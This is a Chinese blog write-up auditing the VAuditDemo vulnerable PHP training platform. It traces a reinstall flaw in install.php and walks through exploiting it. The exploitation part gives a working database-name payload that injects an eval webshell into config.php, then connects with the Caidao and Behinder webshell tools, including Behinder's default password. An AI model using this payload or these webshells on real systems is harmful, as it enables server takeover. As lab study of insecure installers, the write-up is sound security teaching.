VAuditDemo安装漏洞

已于 2024-08-20 17:40:21 修改
阅读量1k 收藏 13
点赞数 30
分类专栏： 渗透测试 文章标签： 网络安全 web安全
于 2024-08-18 23:42:07 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/YhMjQx/article/details/141307750
版权

目录

VAuditDemo安装漏洞

index.php

header.php

config.php

lib.php

install.php

分析结果

漏洞利用

第一步：删除install.lock文件，访问 install.php 抓包

第二步：通过审计构造payload

第三步：修改抓包请求内容，写入payload

第四步：菜刀链接

VAuditDemo安装漏洞

第一步访问首页http://192.168.230.188:82/

image-20240818214416624

这个应该就是默认首页，尝试访问http://192.168.230.188:82/index.php

image-20240818214620679

果然，依旧是这个界面，我们进入源代码，开始审计分析

index.php

 <?php 
 require_once('sys/config.php');
 require_once('header.php');
 ?>
 <div class="row">
     <?php
     /* Include */
     if (isset($_GET['module'])){
         include($_GET['module'].'.inc');
     }else{
     ?>
     <div class="jumbotron" style="text-align: center;">
         <h1><b>VAuditDemo</b></h1>
         <p>一个简单的Web漏洞演练平台</p><br />
     </div>
     <div class="col-lg-12">
         <h2>用於演示講解PHP基本漏洞</h2>
         <p></p>
     </div>
     <?php
     }
     ?>
 </div>
         
 <?php
 require_once('footer.php');
 ?>

首先包含了 sys/config.php 和 header.php两个文件 在下方 通过可控参数又包含了一个 $_GET['module'].'.inc' 文件 ，一共存在三次文件包含，并且第三个文件包含存在用户可控参数 module ，有可能存在文件包含漏洞

header.php

 ​

这个文件内容除了html标签就是SESSION变量，不存在可疑点

config.php

 <?php
 ​
 // error_reporting(0);
 // 如果 $_SERVER["DOCUMENT_ROOT"].'/sys/install.lock' 文件不存在就跳转到安装页面
 if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){
     header("Location: /install/install.php");
 exit;
 }
 ​
 include_once('lib.php');  //config.php 和 lib.php 属于同级
 ​
 $host="localhost"; 
 $username="root"; 
 $password="p-0p-0p-0"; 
 $database="vauditdemo"; 
 ​
 $conn = mysql_connect($host,$username,$password);
 mysql_query('set names utf8',$conn);
 mysql_select_db($database, $conn) or die(mysql_error());
 if (!$conn)
 {
     die('Could not connect: ' . mysql_error());
     exit;
 }
 session_start();
 ?>

其中又包含了 lib.php 这个文件 这里除了 $_SERVER["DOCUMENT_ROOT"] 没有其他参数是可变的了，我们再去看看包含的 lib.php

lib.php

 if( !get_magic_quotes_gpc() ) {
     $_GET = sec ( $_GET );
     $_POST = sec ( $_POST );
     $_COOKIE = sec ( $_COOKIE ); 
 }
 $_SERVER = sec ( $_SERVER );
 ​
 function sec( &$array ) {
     if ( is_array( $array ) ) {
         foreach ( $array as $k => $v ) {
             $array [$k] = sec ( $v );
         }
     } else if ( is_string( $array ) ) {
         $array = addslashes( $array );
     } else if ( is_numeric( $array ) ) {
         $array = intval( $array );
     }
     return $array;
 }
 ​
 function sqlwaf( $str ) {
 .......
 }
 ​
 function clean_input( $dirty ) {
     return mysql_real_escape_string( stripslashes( $dirty ) );
 }
 ​

其中对SQL注入做了极强的防范，同时对POST请求中的参数也做了预防

该文件中除了 下面几句代码直接调用了，其余的都是函数，并且函数都是对输入的内容和POST传入的参数做预防，比如转义，waf等等

 date_default_timezone_set('UTC');
 ​
 if( !get_magic_quotes_gpc() ) {
     $_GET = sec ( $_GET );
     $_POST = sec ( $_POST );
     $_COOKIE = sec ( $_COOKIE ); 
 }
 $_SERVER = sec ( $_SERVER );

除了这个函数

 function is_pic( $file_name ) {
     $extend =explode( "." , $file_name );
     $va=count( $extend )-1;
     if ( $extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png' ) {
         return 1;
     }
     else
         return 0;
 }

单单只是校验了文件名的后缀，我觉得可能存在文件上传绕过的可能性

install.php

 if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
     header( "Location: ../index.php" );
 }
 require_once '../header.php';

这是install.php 文件的开头 如果该文件存在，则跳转到默认首页，但是如果文件不存在呢？根据代码的分析，如果if判断中的文件不存在，那么就不会跳转页面到默认首页，然后包含 header.php 并运行下面的所有代码

 if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){
     header("Location: /install/install.php");
 exit;
 }
 ​
 include_once('lib.php');  //config.php 和 lib.php 属于同级

这是 config.php 文件的开头 如果 该文件不存在则跳转页面进行安装

可以发现，二者的区别除了判断文件是否存在之外，config.php 文件中多了 exit; 这句代码，这句代码的问题所在是什么呢，有与没有的的区别是什么呢？

通过代码调试可以得知，如果二者判断都成立，那么 config.php 则跳转页面并结束后面的代码，但是 install.php 就不一样了，不跳转页面，同时运行剩下的所有代码

既然这样，继续分析 install.php 文件的剩余代码，主要寻找用户可控参数

 if ( $_POST ) {
 ​
     if ( $_POST["dbhost"] == "" ) {
         exit( '数据库连接地址不能为空' );
     }elseif ( $_POST["dbuser"] == "" ) {
         exit( '数据库数据库登录名' );
     }elseif ( $_POST["dbname"] == "" ) {
         exit( '请先创建数据库名称' );
     }
 ​
     $dbhost = $_POST["dbhost"];
     $dbuser = $_POST["dbuser"];
     $dbpass = $_POST["dbpass"];
     $dbname = $_POST["dbname"];
 ​
     $con = mysql_connect( $dbhost, $dbuser, $dbpass );
     if ( !$con ) {
         die( '数据库链接出错，请检查账号密码及地址是否正确: ' . mysql_error() );
     }
 ​
     $result = mysql_query('show databases;') or die ( mysql_error() );;
     While($row = mysql_fetch_assoc($result)){       
         $data[] = $row['Database'];
     }
     unset($result, $row);
     if (in_array(strtolower($dbname), $data)){
         mysql_close();
         echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>";
         exit();
     }
 ​
     mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );

可以发现，对于POST请求的内容，除了判断是否为空，其余的并未做任何校验，同时 $dbname 竟然还作为 SQL 语句中的一部分，这绝对可以说是一个漏洞了

继续向下看，最后的 footer.php 文件，和最开始的 header.php 文件一样，都是html元素标签等等，不存在可疑点

 $str_tmp="<?php\r\n";
 $str_end="?>";
 $str_tmp.="\r\n";
 $str_tmp.="error_reporting(0);\r\n";
 $str_tmp.="\r\n";
 $str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n";
 $str_tmp.="\r\n";
 $str_tmp.="include_once('../sys/lib.php');\r\n";
 $str_tmp.="\r\n";
 $str_tmp.="\$host=\"$dbhost\"; \r\n";
 $str_tmp.="\$username=\"$dbuser\"; \r\n";
 $str_tmp.="\$password=\"$dbpass\"; \r\n";
 $str_tmp.="\$database=\"$dbname\"; \r\n";
 $str_tmp.="\r\n";
 $str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n";
 $str_tmp.="mysql_query('set names utf8',\$conn);\r\n";
 $str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n";
 $str_tmp.="if (!\$conn)\r\n";
 $str_tmp.="{\r\n";
 $str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n";
 $str_tmp.="\texit;\r\n";
 $str_tmp.="}\r\n";
 $str_tmp.="\r\n";
 $str_tmp.="session_start();\r\n";
 $str_tmp.="\r\n";
 $str_tmp.=$str_end;
 ​
 $fp=fopen( "../sys/config.php", "w" );
 fwrite( $fp, $str_tmp );
 fclose( $fp );
 ​
 ​
 ​
 <?php
 require_once '../footer.php';
 ?>

但是，我们可以看到，代码会将用户可控的参数拼接后写入 config.php 文件

我们再看看，是将什么样的内容写进了 config.php ，原来 整个 config.php 文件的内容都是这样生成的，那么就说得通了 而且 config.php 还是具有可写权限的，并且 config.php 中部分内容是由用户控制的

分析结果

  • 用户首次访问先访问 index.php ，由于该文件包含了 config.php 和 header.php 所以，也会第一时间执行这两个文件

  • 对于 config.php 文件来说，由于并不存在 install.lock 文件，所以访问的第一时间又会跳转到 install.php

  • 而在install.php 文件中，存在四个用户可控参数，并且第四个参数作为SQL语句执行，最终将执行的结果写入 config.php ，config.php 文件的内容也是由此而来

基于上面的分析，可以得出结论，用户在安装时，会通过 POST 提交内容，内容分别是 $dbhost $dbuser $dbpass $dbname 四个值，并且 $dbhost $dbuser $dbpass 这三个值是作为连接数据库时使用的 ，而 $dbname 值，作为SQL语句执行的一部分

所以可以得出结论，安装过程中，$dbname 值，存在php代码注入漏洞，与 config.php 文件相结合，有木马写入的漏洞

漏洞利用

代码分析发现，一切的问题开始是判断 install.lock 文件是否存在，在 install.php 文件中 只有 install.lock 文件不存在的时候 才不会进行跳转，否则 该文件存在 ，用户一访问 install.php 给出的响应中有 header( "Location: ../index.php" ); 浏览器解析响应后一看就会跳转，即使后面代码可以执行，前端也是无法显示后面的代码的，自然也就无法利用了。有些人可能会想，那前端页面无法访问，可以抓包啊，事实上一旦 浏览器解析到 Location 就直接跳转了，哪还来的 install.php 页面，哪来的 POST 提交正文

image-20240818224119750

image-20240818224134802

第一步：删除install.lock文件，访问 install.php 抓包

先访问到这个页面

image-20240818224526073

然后点击安装，同时开启抓包

image-20240818224619974

第二步：通过审计构造payload

install.php

 if ( $_POST ) {
 ​
     if ( $_POST["dbhost"] == "" ) {
         exit( '数据库连接地址不能为空' );
     }elseif ( $_POST["dbuser"] == "" ) {
         exit( '数据库数据库登录名' );
     }elseif ( $_POST["dbname"] == "" ) {
         exit( '请先创建数据库名称' );
     }
 ​
     $dbhost = $_POST["dbhost"];
     $dbuser = $_POST["dbuser"];
     $dbpass = $_POST["dbpass"];
     $dbname = $_POST["dbname"];
 ​
     $con = mysql_connect( $dbhost, $dbuser, $dbpass );
     if ( !$con ) {
         die( '数据库链接出错，请检查账号密码及地址是否正确: ' . mysql_error() );
     }
 ​
     $result = mysql_query('show databases;') or die ( mysql_error() );;
     While($row = mysql_fetch_assoc($result)){       
         $data[] = $row['Database'];
     }
     unset($result, $row);
     if (in_array(strtolower($dbname), $data)){
         mysql_close();
         echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>";
         exit();
     }
 ​
     mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );

config.php

 $database="$dbname";

那么就存在两点

  • CREATE DATABASE $dbname 这句话必须执行成功，不能报错，报错就die

  • $database="$dbname"; 这句话也不能报错，需要满足php语法

 "CREATE DATABASE $dbname" -> $database="$dbname";
 "CREATE DATABASE vauditdemo2" -> $database="vauditdemo2";
 "CREATE DATABASE vauditdemo2-- ";" -> $database="vauditdemo2-- ";";
 "CREATE DATABASE vauditdemo2-- ";@eval($_POST[a]);//" -> $database="vauditdemo2-- ";@eval($_POST[a]);//";

还是不放心，用navicat测试一下 CREATE DATABASE vauditdemo2-- ";@eval($_POST[a]);

image-20240818231359886

SQL语句执行成功，创建数据库vauditdemo2。再分析一下 $database="vauditdemo2-- ";@eval($_POST[a]);//"; 这句代码是否存在php语法错误（双引号都闭合，分号完全，多余部分已被注释），成了！

至于 $_POST[a] 中的 a 为什么没有再加单引号和双引号，是因为怕被过滤或者报错啥的，当然，不加引号也是可以正常执行的。

第三步：修改抓包请求内容，写入payload

image-20240818232033915

发送之后，查看响应，没有报错，去访问系统

image-20240818232141899

查看index.php包含config.php，查看config.php发现

image-20240818232228137

然后访问系统，并POST提交参数a，成功。

注意参数a传递时，由于 eval() 函数是直接执行代码，而php的代码必须要有 ; ，所以传参时也需要带分号。

image-20240818232447027

第四步：菜刀链接

image-20240818232710098

链接成功，隐藏木马，并修改数据库名称为原来的。

image-20240818232930823

image-20240818232910219

重新隐藏木马，并重新建立连接

image-20240818233309004

image-20240818233329726

上传冰蝎马，并使用冰蝎链接（冰蝎马默认链接密码是rebeyond）

image-20240818233653569

image-20240818233631891

YhMjQx
关注
专栏目录
vauditdemo 重装漏洞 复现
weixin_67289581的博客
08-14 451
sys/config.php文件内，其中可以发现str_tmp变量内有四个变量，分别是。如果存在./sys/install.lock文件，则直接跳转到index.php,但是没有结束后面的代码，所以这里存在重装漏洞。由于install.php文件的开头if语句判断是否安装这里没有结束后面的代码，所以导致重装漏洞。原来首页直接文件包含了./sys/config.php文件，所以执行了插入的语句。安装成功，直接跳转到首页发现插入的恶意语句phpinfo() 成功被解析。结束代码后，就不能再接收参数了。
VAuditDemo文件漏洞
YhMjQx的博客
08-20 1201
VAuditDemo中存在首页文件包含漏洞以及avatar的任意文件读取漏洞，此漏洞被利用就可以读取全站源码，从而黑盒变白盒，渗透变审计
VAuditDemo常规漏洞
YhMjQx的博客
08-19 916
VAuditDemo中的常规漏洞
VAuditDemo靶场漏洞寻找
kiihuang的博客
03-30 1336
针对VAuditDemo经典靶场进行的代码审计和漏洞查找
代码审计-1 开始审计前的准备&重装漏洞
xhscxj的博客
10-06 1357
很多PHP程序都是开源的、找到官网下载最新的源码包就好了(站长之家，A5源码)安装网站在本地搭建网站，一边审计一边调试。实时跟踪各种动态变化浏览源码文件夹，了解该程序的大致目录入口文件index.php、admin.php文件一般是整个程序的入口，详细读一下index文件可以知道程序的架构、运行流程、包含那些配置文件，包含哪些过滤文件以及包含那些安全过滤文件，了解程序的业务逻辑一般类似config.php等文件，保存一些数据库相关信息、程序的一些信息。
下载并搭建VAuditDemo漏洞代码审计平台
内心不种满鲜花就会长满杂草
06-09 6270
这几天在i秋学习PHP代码审计实战，视频中使用了VAuditDemo漏洞代码审计平台，因而这里总结一下下载与搭建的过程 VAuditDemo下载地址：https://github.com/1stPeak/VAuditDemo phpstudy下载地址：https://www.xp.cn/ ，我下的是2018 安装 1. 将如下这个文件夹放入到网站根目录下 2. 如下设置，域名随便填 打开hosts文件，将127.0.0.1 www.phpstudy添加进去保存。打开网页访问：ht...
Vauditdemo代码设计报告
kunkun_xiaomeng的博客
08-17 1357
小白渗透历险记
VAuditDemo代码审计学习——install.php安装问题
内心不种满鲜花就会长满杂草
07-19 5504
目录 代码分析 EXP构造 写入EXP 我们都知道一般CMS在第一次安装的时候是需要先进行创建数据库等操作的，而决定是否执行这一操作一般是通过检测指定目录下是否存在.lock文件，如果存在则进行初始化安装，否则就跳转到首页。而这一安装问题，如果代码逻辑没有设计好则也会产生安全问题，接下来以VAuditDemo为例，来看看如何分析并找出这一漏洞 找到安装的源码，位置为install/install.php。 代码分析 这里判断lock文件是否存在，但是当这里的判断为true时，虽然跳转到首页.
VAuditDemo系统-代码审计报告.doc
11-25
渗透测试 代码审计 超详细流程解释
VAuditDemo_Debug.zip
11-25
【VAuditDemo_Debug.zip】是一个压缩包文件，包含了一个名为"VAuditDemo_Debug"的项目。这个项目在GitHub上的原始地址是<https://github.com/cream-sec/VAuditDemo_Debug>，它主要用于代码审计（标签：代码审计）。...
Linux audit 日志审计服务安装及使用
01-12
Linux audit 日志审计服务安装及使用 Linux audit 是一种强大的日志审计服务，可以将审计记录写入日志文件，包括记录系统调用和文件访问。管理员可以检查这些日志，确定是否存在安全漏洞。本文将详细介绍 Linux ...
命令执行漏洞
m0_71665129的博客
09-20 1423
Web安全攻防 命令执行漏洞
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8479
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
网络安全详解
weidl001的博客
09-21 1505
网络安全（Cybersecurity）是指保护网络系统、设备、程序及数据免受攻击、损坏或未授权访问的实践。其核心目标是确保信息的机密性、完整性和可用性。机密性（Confidentiality）：确保信息仅被授权的人员访问。完整性（Integrity）：保护信息不被未授权的修改或破坏。可用性（Availability）：确保信息和资源在需要时可被访问和使用。
网络安全全方略
AI逍遥子
09-25 1291
网络安全全方略是一个系统化、全面化的过程，涉及策略制定、技术实施、管理流程、技术维护和文化建设等多个方面。通过构建一个全方位、多层次的网络安全防护体系，可以有效保护网络系统、数据和服务免受各种威胁，保业务的连续性和数据的完整性。
信息安全工程师（24）网络安全体系建设原则与安全策略
最新发布
m0_73399576的博客
09-28 804
信息安全工程师——网络安全体系建设原则与安全策略篇
Linux 网络安全守护：构建安全防线的最佳实践
weixin_62641226的博客
09-23 1019
通过定期更新系统、强化用户权限管理、配置防火墙、使用SSH安全连接、定期备份数据、监控系统日志以及安装安全工具，用户可以有效提升Linux系统的安全性，构建坚固的网络安全防线。Linux系统通常内置了防火墙工具，如`iptables`和`firewalld`。用户应根据实际需求，设置合适的规则，限制不必要的端口和服务。可以使用`rsync`、`tar`等工具进行备份，确保在发生安全事件时能够快速恢复。此外，定期审查用户账户和权限，及时删除不再使用的账户，确保只有必要的用户能够访问系统。
vauditdemo靶场搭建
10-18
要搭建 vauditdemo 靶场，你需要先安装 Docker 和 Docker Compose。然后，你可以按照以下步骤进行操作： 1. 下载 vauditdemo 的 Docker Compose 文件： ``` $ git clone https://github.com/vAudit/vauditdemo.git ``` 2. 进入 vauditdemo 目录： ``` $ cd vauditdemo ``` 3. 启动 vauditdemo 靶场： ``` $ docker-compose up -d ``` 4. 等待一段时间，直到所有容器都启动完成。你可以使用以下命令查看容器的状态： ``` $ docker-compose ps ``` 5. 访问 vauditdemo 靶场的 Web 界面。默认情况下，Web 界面的地址是 http://localhost:8080。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值